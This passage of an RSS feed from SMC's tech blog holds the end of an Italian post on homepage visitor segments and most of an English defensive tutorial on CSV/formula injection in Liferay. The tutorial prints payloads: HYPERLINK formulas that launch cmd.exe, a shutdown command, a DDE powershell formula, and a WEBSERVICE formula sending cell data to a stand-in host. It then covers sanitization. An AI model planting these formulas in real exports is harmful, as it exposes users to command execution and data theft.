ECM.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Sono emersi quattro &lt;strong&gt;segmenti di visitatori&lt;/strong&gt; che abbiamo così nominato: l&amp;#x27;Esperto, il Parco, il New Name e la Lead.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3710836dc4352a89b09ddf3033ae921a/098d4/segmenti-visitatori.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;167\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20167\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M210%2018l-1%201h-5c-1%200-2%201-1%202%200%202%2022%203%2023%200h1c0%202%205%202%205%200s-1-3-3-2h-7l-2-1h-3l-1%201v3l-1-2-1%201h-1c0-2-3-5-3-3m-13%2020v3l1%2022v22h-82l41%201%2041%201v45l1-23%201-22%2039-1a292%20292%200%200144%200l-2-2h-2l-40%201h-40V63l1-22v-3l-2-2-1%202M47%2089c-2%201-2%202-1%203%202%201%2014%201%2016-1h2l1-1%201%201c-1%201%203%202%205%201l1-1h1l4%201c7%201%209-1%206-4h-2l-3%201h-4c0-1-14-1-15%201h-1c-1-1-3-2-5-1l-4-1-2%201m243-1v6l1-1h4l5-2c1-1%201-1%201%201h1c0-2%201-2%201-1%200%202%204%202%204%200h1c2%202%205%202%205%200%200-1%201-1%201%201%202%202%205%200%204-2s-8-2-11-1h-1l-1-1h-7l-3%201h-1l-1-1h-3m32%200l-2%203c1%202%2016%202%2017%200h4c1%202%205%202%206%200h2c0%201%202%202%203%201h4c2%200%203-5%201-5l-2%201h-1l-2%202h-1c0-2-16-2-17%200h-2l-4-2h-6m-104%2051l-1%201h-5c-2%200-2%203%200%204l2-1%202-1c-1%201%200%202%207%202s8%200%207-2h2c1%202%201%202%202%200h1c0%202%204%202%205%201%201-2-1-4-2-3h-9c-1%201-1%201-1-1h-3l-1%202h-1c-1-1-1-1-1%201h-1l-3-3\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3710836dc4352a89b09ddf3033ae921a/c85cb/segmenti-visitatori.webp 300w,/static/3710836dc4352a89b09ddf3033ae921a/e88ff/segmenti-visitatori.webp 600w,/static/3710836dc4352a89b09ddf3033ae921a/92f8c/segmenti-visitatori.webp 1200w,/static/3710836dc4352a89b09ddf3033ae921a/62ed8/segmenti-visitatori.webp 1800w,/static/3710836dc4352a89b09ddf3033ae921a/47413/segmenti-visitatori.webp 2142w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3710836dc4352a89b09ddf3033ae921a/5a46d/segmenti-visitatori.png 300w,/static/3710836dc4352a89b09ddf3033ae921a/0a47e/segmenti-visitatori.png 600w,/static/3710836dc4352a89b09ddf3033ae921a/c1b63/segmenti-visitatori.png 1200w,/static/3710836dc4352a89b09ddf3033ae921a/d61c2/segmenti-visitatori.png 1800w,/static/3710836dc4352a89b09ddf3033ae921a/098d4/segmenti-visitatori.png 2142w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Visitatori del sito di Open Square Digital Lake&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3710836dc4352a89b09ddf3033ae921a/c1b63/segmenti-visitatori.png&quot; title=&quot;Visitatori del sito di Open Square Digital Lake&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Visitatori del sito di Open Square Digital Lake&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;&lt;strong&gt; 🔑 L&amp;#x27;Esperto &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Rappresenta colui che possiede una cultura sul paradigma dell’Enterprise Content Management e conosce già le
caratteristiche di Open Square Digital Lake.&lt;/p&gt;&lt;p&gt;Si tratta di un visitatore esperto, che nel momento della valutazione del prodotto non potrà che metterlo a paragone con altri prodotti simili. Inoltre, le sue esigenze potrebbero essere particolarmente precise ed aver bisogno di informazioni altrettanto precise.&lt;/p&gt;&lt;p&gt;Per questo motivo, la sua &lt;strong&gt;necessità primaria&lt;/strong&gt; sarà quella di consultare tutte le caratteristiche tecniche e funzionali del prodotto in maniera precisa.&lt;/p&gt;&lt;p&gt;&lt;strong&gt; 🕯️ Il Parco &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Rappresenta colui che conosce Open Square Digital Lake ma non possiede nozioni sul paradigma dell’Enterprise Content
Management.&lt;/p&gt;&lt;p&gt;Quello di cui ha bisogno è poter comprendere quali sono le funzionalità aggiuntive della soluzione che non ha ancora attivato o abilitato ma, al tempo stesso, non deve confondersi con quelle che ha già a disposizione dall’utilizzo del prodotto stesso.&lt;/p&gt;&lt;p&gt;La sua &lt;strong&gt;necessità primaria&lt;/strong&gt; è quindi quella di vedere evidenziate le informazioni che già conosce per poter comprendere quali sono invece quelle nuove. Lo possiamo fare attraverso l’inserimento di riferimenti (loghi o icone parlanti) delle componenti che già utilizza.&lt;/p&gt;&lt;p&gt;&lt;strong&gt; 🔎 Il New Name &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Rappresenta colui che non conosce Open Square Digital Lake e la nostra realtà aziendale ma ha le idee ben chiare su che cosa è l’Enterprise Content Management.&lt;/p&gt;&lt;p&gt;Il visitatore ha già le adeguate competenze per poter scegliere quale prodotto più si addice alla sua azienda ma ha bisogno di essere motivato su quali sono le qualità che la nostra azienda offre rispetto agli altri concorrenti.&lt;/p&gt;&lt;p&gt;La sua &lt;strong&gt;necessità primaria&lt;/strong&gt; non è solo quella di conoscere il nostro prodotto e le sue funzionalità ma anche conoscere le qualità della nostra azienda e delle persone che ci lavorano.&lt;/p&gt;&lt;p&gt;Alcuni esempi di sezioni per questo segmento di audience potrebbero essere: banner con media che ritraggono il personale della nostra azienda, case study di clienti che hanno adottato la nostra soluzione, contenuto informativo per qualificarci attraverso la  nostra partnership.&lt;/p&gt;&lt;p&gt;&lt;strong&gt; 🗺️ La Lead &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Rappresenta colui che non ha conoscenze sul paradigma dell’Enterprise Content Management e non conosce la realtà della
nostra azienda.&lt;/p&gt;&lt;p&gt;Risulta molto importante attirare l’attenzione sulle concrete necessità del visitatore e di come il nostro prodotto sia una soluzione alle sue esigenze.&lt;/p&gt;&lt;p&gt;Le sue &lt;strong&gt;necessità primarie&lt;/strong&gt; sono due:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;comprendere che le funzionalità descritte su questo sito sono solo una parte di quello che può realmente fare;&lt;/li&gt;&lt;li&gt;essere aiutato nel percorso di apprendimento del dominio fornendogli dati e ragioni di business per valutare l’investimento.&lt;/li&gt;&lt;/ol&gt;&lt;h1 id=&quot;-il-contesto&quot;&gt;💻 Il contesto&lt;/h1&gt;&lt;p&gt;Un altro elemento da tenere in considerazione è &lt;strong&gt;il contesto&lt;/strong&gt; con cui l&amp;#x27;utente arriva sulla nostra Homepage.&lt;/p&gt;&lt;p&gt;Ci possono essere varie possibilità, ne elenchiamo alcune: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;link diretto, &lt;/li&gt;&lt;li&gt;link inviato per email (presidiato e  non presidiato), &lt;/li&gt;&lt;li&gt;link sui social (presidiato e non presidiato), &lt;/li&gt;&lt;li&gt;link su altre pagine (presidiate e non presidiate), &lt;/li&gt;&lt;li&gt;risultati delle ricerche online, &lt;/li&gt;&lt;li&gt;risultati delle ricerche per brand, &lt;/li&gt;&lt;li&gt;risultati delle ricerche per contenuto,&lt;/li&gt;&lt;li&gt;punti di rimando all&amp;#x27;interno del sito (logo o link),&lt;/li&gt;&lt;li&gt;e molto altro ancora.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Fa molta differenza se il link viene inviato da un commerciale dell&amp;#x27;azienda che vuole promuovere il prodotto (link presidiato) oppure se viene inviato da un cliente che ha avuto un&amp;#x27;esperienza positiva con il prodotto (link non presidiato).&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;Il contenuto della Homepage cambia a seconda del contesto. &lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Risulta fondamentale prevedere e stabilire quali di questi contesti sono quelli più importanti per noi.&lt;/p&gt;&lt;h1 id=&quot;-risultato&quot;&gt;🎓 Risultato&lt;/h1&gt;&lt;p&gt;Il risultato di questa analisi ci ha portato a definire che:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;dovremo inserire il riferimento di SMC e spiegare che cos&amp;#x27;è Open Square Digital Lake assicurandoci che indichi all&amp;#x27;utente che sta visitando solo una parte di un insieme ancora più grande;&lt;/li&gt;&lt;li&gt;dobbiamo qualificare SMC e il prodotto per coloro che non ci conoscono;&lt;/li&gt;&lt;li&gt;dobbiamo focalizzarci sui benefici della soluzione senza dare per scontato la competenza di dominio;&lt;/li&gt;&lt;li&gt;dobbiamo permettere a chi è interessato di recuperare tutte le informazioni tecniche necessarie per metterci a confronto con altre soluzioni.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Questo è ciò che la nostra homepage dovrà offrire al visitatore.&lt;/p&gt;&lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Una volta che abbiamo creato la nostra Homepage o semplicemente abbiamo un&amp;#x27;idea chiara di quale sarà il contenuto da inserire, quando possiamo dire che è finalmente completa?&lt;/p&gt;&lt;p&gt;L&amp;#x27;Homepage sarà &lt;strong&gt;completa&lt;/strong&gt; quando:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Contiene tutte le informazioni che deve contenere o che ipotizziamo debba contenere.&lt;/li&gt;&lt;li&gt;Abbiamo rimosso tutto ciò che non è strettamente legato agli obiettivi della pagina. &lt;/li&gt;&lt;li&gt;Risponde ai bisogni dei visitatori e li guida all&amp;#x27;approfondimento verticale (scroll della pagina) e a quello orizzontale (navigazione del sito).&lt;/li&gt;&lt;li&gt;Contiene le &lt;em&gt;Call to Action&lt;/em&gt; che permettono al contenuto di rispondere al proprio scopo informativo o commerciale.&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Beware of formulas: Comma Separated Victims]]></title><link>https://techblog.smc.itbeware-of-formula</link><guid isPermaLink="false">https://techblog.smc.itbeware-of-formula</guid><pubDate>Mon, 04 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;&lt;p&gt;How many times have you had to deal with a CSV export plugin?&lt;/p&gt;&lt;p&gt;So many, I guess.&lt;/p&gt;&lt;p&gt;And are you aware about the risks of underestimating some vulnerabilities, that could expose your application to a &lt;strong&gt;Remote Command Execution&lt;/strong&gt; or a &lt;strong&gt;Data Breach&lt;/strong&gt; attack?&lt;/p&gt;&lt;p&gt;If you never heard of a &lt;strong&gt;CSV Injection&lt;/strong&gt; or a &lt;strong&gt;Formula Injection&lt;/strong&gt; attack before, so this article is for you.&lt;/p&gt;&lt;p&gt;In my &lt;a href=&quot;https://techblog.smc.it/en/2020-06-19/injection-attacks-how-to-prevent-with-liferay&quot;&gt;previous article&lt;/a&gt; on SMC techblog, I&amp;#x27;ve already shown you how the Injection attacks can represent a serious risk for your data security, and how to prevent them with Liferay.&lt;/p&gt;&lt;p&gt;So I suggest you to read this: &lt;a href=&quot;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&quot;&gt;Injection - how to prevent with Liferay&lt;/a&gt; in order to better understand the covered topics; anyway if you&amp;#x27;re aware of the pitfalls behind this kind of attacks and the defense strategies against, you won&amp;#x27;t find it difficult to continue reading.&lt;/p&gt;&lt;p&gt;In this article I&amp;#x27;ll explain what are &lt;strong&gt;CSV Injection&lt;/strong&gt; or &lt;strong&gt;Formula Injection&lt;/strong&gt; attacks, the possibile countermeasures to neutralize them and what the Liferay framework APIs can do to safely encode values while exporting in CSV format.&lt;/p&gt;&lt;h1 id=&quot;the-input-validation-problem&quot;&gt;The input validation problem&lt;/h1&gt;&lt;p&gt;As you know, the first rule to prevent the injection consists in input validation, refusing such input containing characters that can be useful for the attacker.
Unfortunely, is not always so easy to find a regular expression which helps to filter all the undesired characters without excluding those we really need.
An example can be the apostrophe character &amp;quot; &amp;#x27; &amp;quot; which is often needed for some countries in first-name or last-name fields, but we&amp;#x27;ll like to exclude because it is also an attribute token in HTML and also a valid character sequence token in SQL. &lt;/p&gt;&lt;p&gt;So it could be essential to have a robust &lt;strong&gt;input validation&lt;/strong&gt; mechanism: this is the &lt;strong&gt;first rule&lt;/strong&gt; of defense against injection attacks and is also the only way to prevent them.&lt;/p&gt;&lt;p&gt;It would be wise to do not forget the &lt;strong&gt;second rule&lt;/strong&gt; of defense against the injection attacks: the neutralization by &lt;strong&gt;output sanitization&lt;/strong&gt; or &lt;strong&gt;output escaping&lt;/strong&gt;. &lt;/p&gt;&lt;p&gt;Despite all, it can also happen that we are completely unaware about the risks when missing a valid encoding mechanism for the output values in the exported cells, and all the kindness about the output sanitization can be forgotten when we&amp;#x27;re facing with the development of our custom CSV export plugin. &lt;/p&gt;&lt;p&gt;&lt;em&gt;Nothing more dangerous...&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In order to effectively show you the risks, now let&amp;#x27;s focus on the most difficult input field to validate: the &lt;em&gt;notes&lt;/em&gt; field.
Often, in a &lt;em&gt;notes&lt;/em&gt; multiline field we&amp;#x27;ll allow space characters, currency symbols ando also the &amp;quot;%&amp;quot; symbol or other special characters.&lt;/p&gt;&lt;p&gt;But in &lt;strong&gt;the common case&lt;/strong&gt; we&amp;#x27;re not going to validate nor escaping the values of exported cells, because often &lt;strong&gt;we&amp;#x27;re unaware of the pitfalls behind some undesired character sequences when loaded on a spreadsheet&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;On the most widespread spreadsheets such as Microsoft Excel or LibreOffice Calc, some formulas could become a security issue. &lt;/p&gt;&lt;p&gt;For instance, if we try inject the following sequence in an input field:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=HYPERLINK(&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&amp;quot;Click me&amp;quot;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;the exported CSV will include such hyperlink in the corresponding cell so, when it&amp;#x27;s clicked by the user, the specified command or application will be executed (even after a confirmation).&lt;/p&gt;&lt;p&gt;The example above will launch the command prompt on the victim&amp;#x27;s machine; in this way the attacker exploits a &lt;strong&gt;Formula Injection&lt;/strong&gt; in order to get a &lt;strong&gt;Remote Command Execution&lt;/strong&gt; or, more appropriately, an &lt;strong&gt;OS Command Injection&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Scary, isn&amp;#x27;t it?&lt;/p&gt;&lt;p&gt;We can avoid it by input validation via a regular expression, but please note that the spreadsheet will also admit the URL-encoded format as follows:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=HYPERLINK(&amp;quot;C%3A%5Cwindows%5Csystem32%5Ccmd.exe&amp;quot;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;so here are the reasons why it could be tricky to protect against these kind of attacks when some charatecters like the percent, the equal or the parenthesis are needed and should be taken as a valid input in order to avoid a conflict with the user needs.&lt;/p&gt;&lt;p&gt;Luckily, the hyperlink formula in spreadsheets does not support additional command parameters; in such case we could get an immediate Windows &lt;strong&gt;shutdown&lt;/strong&gt; injecting the following command:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;C:\Windows\System32\cmd.exe /C &amp;quot;shutdown /p&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;but the execution of other kind of scripts are allowed, such as a .vbs (VBScript) or a .bat (Batch) when  the spreadsheet application is running on a Microsoft Windows O/S.&lt;/p&gt;&lt;p&gt;Whenever the victim uses a previous version of Microsoft Excel, or a newer one having the &lt;a href=&quot;https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings&quot;&gt;&lt;strong&gt;Dynamic Data Exchange&lt;/strong&gt;&lt;/a&gt; service enabled, he/she could expose the entire system to a serious risk, for instance, when executing the following formula:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=cmd|&amp;#x27;/K powershell ssh ...omitted...&amp;#x27;!A0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Formula Injection&lt;/strong&gt; attacks are the way to exploit and get other dangerous threats like &lt;strong&gt;O/S command execution&lt;/strong&gt; to unexpectedly run a command, script or whatever  executable on the victim&amp;#x27;s machine.&lt;/p&gt;&lt;p&gt;About the hyperlinks, an attacker can also get a malicious service invocation using the WEBSERVICE formula.&lt;/p&gt;&lt;p&gt;For instance, an attacker can inject a formula to invoke a remote web service, in order to get the content of other cells in the exported CSV.
The attacker can perform a formula injection by typing it in a form input field, so the value will be permanently stored in the application database.
Later, an user who asks for the data export will get a CSV containing that dangerous value in some cells.
The user who receives and open the CSV file, completely unaware, it may also accidentally perform an HTTP request to the malicious service:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;=WEBSERVICE(CONCAT(&amp;quot;http://service.malware?d=&amp;quot;; C6&amp;amp;&amp;quot;,&amp;quot;&amp;amp;C7&amp;amp;&amp;quot;,&amp;quot;&amp;amp;C8))&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;sending the content of one or more data cells via a GET parameter, becoming a victim of a &lt;strong&gt;Data Breach&lt;/strong&gt; attack by a &lt;strong&gt;Formula Injection&lt;/strong&gt; (as could be done by the parameter &amp;quot;d&amp;quot; in the example above, where values from cells C6, C7 and C8 are joined and sent together).&lt;/p&gt;&lt;h1 id=&quot;the-liferay-api-for-csv-encoding&quot;&gt;The Liferay API for CSV encoding&lt;/h1&gt;&lt;p&gt;The &lt;a href=&quot;https://docs.liferay.com/ce/portal/7.3-latest/javadocs/portal-kernel/com/liferay/portal/kernel/util/CSVUtil.html&quot;&gt;CSVUtil&lt;/a&gt; class exposes two public static methods:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;encode(Object object)&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;encode(String s)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;the first method will merge the object in a string (in case of arrays), and then calls the latter. &lt;/p&gt;&lt;p&gt;The encode by string can be useful to avoid some issues with the double quotes, the delimiter token, or any other symbol who can interfere when importing or parsing the CSV file.&lt;/p&gt;&lt;p&gt;Altough useful, you have to pay attention: the &lt;strong&gt;encode()&lt;/strong&gt; method &lt;strong&gt;will not&lt;/strong&gt; help you to neutralize the &lt;strong&gt;Formula Injection&lt;/strong&gt; attacks in any way.&lt;/p&gt;&lt;p&gt;Liferay, who takes care about your security, have just released a security patch &lt;a href=&quot;https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052&quot;&gt;CST-7058&lt;/a&gt; for Liferay Portal 7.0 CE but it will only give you a way to disable the CSV export for Forms or Dynamic Data Lists components. As also described in a CST-7058 note:&lt;/p&gt;&lt;div class=&quot;Quote-module--content--25D05&quot;&gt;&lt;blockquote&gt;&lt;p&gt;This patch does not &amp;quot;solve&amp;quot; the CSV injection issue since the issue
can only be fixed by the spreadsheet program (i.e., this is not a security vulnerability in Liferay Portal). With this patch, administrators will have the ability to disable CSV export for DDL and Form. Administrators can also present a warning about CSV injection to users before the CSV file is exported.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;h1 id=&quot;how-to-neutralize-the-formula-injection-attacks&quot;&gt;How to neutralize the Formula Injection attacks&lt;/h1&gt;&lt;p&gt;Well, now you are probably wondering what are the defense strategies in order to neutralize these kind of attacks.&lt;/p&gt;&lt;p&gt;According to &lt;a href=&quot;https://owasp.org/www-community/attacks/CSV_Injection&quot;&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/a&gt; about the neutralization of &lt;strong&gt;CSV Injection&lt;/strong&gt; or &lt;strong&gt;Formula Injection&lt;/strong&gt; attacks, you have only to ensure that no cells begins with the following symbols:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;= (&lt;em&gt;equal&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;+  (&lt;em&gt;plus&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;-  (&lt;em&gt;minus&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;@  (&lt;em&gt;at&lt;/em&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;in this way we can avoid the spreadsheet formulas to be injected as a value on the exported CSV cells.&lt;/p&gt;&lt;p&gt;Another solution would be prefixing the &amp;quot; &amp;#x27; &amp;quot; apostrophe character to each cell value starting with any of the symbols above.&lt;/p&gt;&lt;p&gt;This, of course, couldn&amp;#x27;t protect us from the users who are going to delete the prefix apostrophe character, getting the injected formula ready to be (unintentionally?) executed.
In such case we can plan other sanitization strategies in order to protect the most &lt;strong&gt;proactive&lt;/strong&gt; users by themselves.&lt;/p&gt;&lt;p&gt;We also suggest to apply the sanitization rule &lt;strong&gt;regardless of the presence of one or more double quotes at the beginning of the string&lt;/strong&gt;. That&amp;#x27;s because the following value:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&amp;quot;=SUM(1+1)&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;will be parsed as a valid formula by the spreadsheet (when loaded from a CSV file) and so it could be unintentionally executed by the user.&lt;/p&gt;&lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;Formula Injection&lt;/strong&gt; attacks can be so dangerous and they can act in several phases:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 1&lt;/strong&gt;: the attacker injects the malicious formula in one or more input form fields, and it will be also permanently stored in the application database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 2&lt;/strong&gt;: a user will ask the application for a CSV export. The exported form data includes the poisoned field value containing the malicious formula previously injected.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Phase 3&lt;/strong&gt;: the same user, or another user who recevies the exported CSV, will open the CSV with a spreadsheet application such as LibreOffice Calc or Microsoft Excel,
and could unintentionally click over the injected malicious hyperlink or execute a formula.
In such phase it will also take place the real attack because, as you can guess, a &lt;strong&gt;Formula Injection&lt;/strong&gt; could be exploited to get a most dangerous attack like &lt;strong&gt;Remote Command Excecution&lt;/strong&gt; or &lt;strong&gt;Data Breach&lt;/strong&gt;, executing an Operating Systems command, a script or executable that can damage the host, or also open connections to remote endpoints chosen by the attacker in order to get sensitive or private data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Unlike the &lt;strong&gt;XSS&lt;/strong&gt; attacks, these attacks acts silently with a long delay with respect to the attack time, and they could be hard to detect.&lt;/p&gt;&lt;p&gt;Like the &lt;strong&gt;XSS&lt;/strong&gt; attacks, however, we can use similar countermeasures:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;preventing&lt;/strong&gt; the attack by the &lt;strong&gt;validation&lt;/strong&gt; of untrusted input values, discarding those who contains illegal character sequences&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;neutralizing&lt;/strong&gt; the attack by sanitizing or by prefixing the input values with an apostrophe when possible, for each value starting with the following symbols &lt;strong&gt;regardless the presence of one or more starting double quotes&lt;/strong&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;= (&lt;em&gt;equal&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;+  (&lt;em&gt;plus&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;-  (&lt;em&gt;minus&lt;/em&gt;)&lt;/li&gt;&lt;li&gt;@  (&lt;em&gt;at&lt;/em&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So pay attention when developing custom CSV export plugins, applying all the tips described above, and stay tuned to the &lt;a href=&quot;https://techblog.smc.it/en/category/liferay/&quot;&gt;&lt;strong&gt;SMC Techblog&amp;#x27;s Liferay channel&lt;/strong&gt;&lt;/a&gt; .&lt;/p&gt;&lt;p&gt;Further readings:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://payatu.com/csv-injection-basic-to-exploit&quot;&gt;https://payatu.com/csv-injection-basic-to-exploit&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://labs.bishopfox.com/tech-blog/2018/06/server-side-spreadsheet-injections&quot;&gt;https://labs.bishopfox.com/tech-blog/2018/06/server-side-spreadsheet-injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/CSV_Injection&quot;&gt;https://owasp.org/www-community/attacks/CSV_Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/1236.html&quot;&gt;https://cwe.mitre.org/data/definitions/1236.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings&quot;&gt;https://docs.microsoft.com/it-it/office/troubleshoot/excel/security-settings&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&quot;&gt;https://techblog.smc.it/it/2020-06-19/injection-attacks-how-to-prevent-with-liferay&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052&quot;&gt;https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/113765052&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
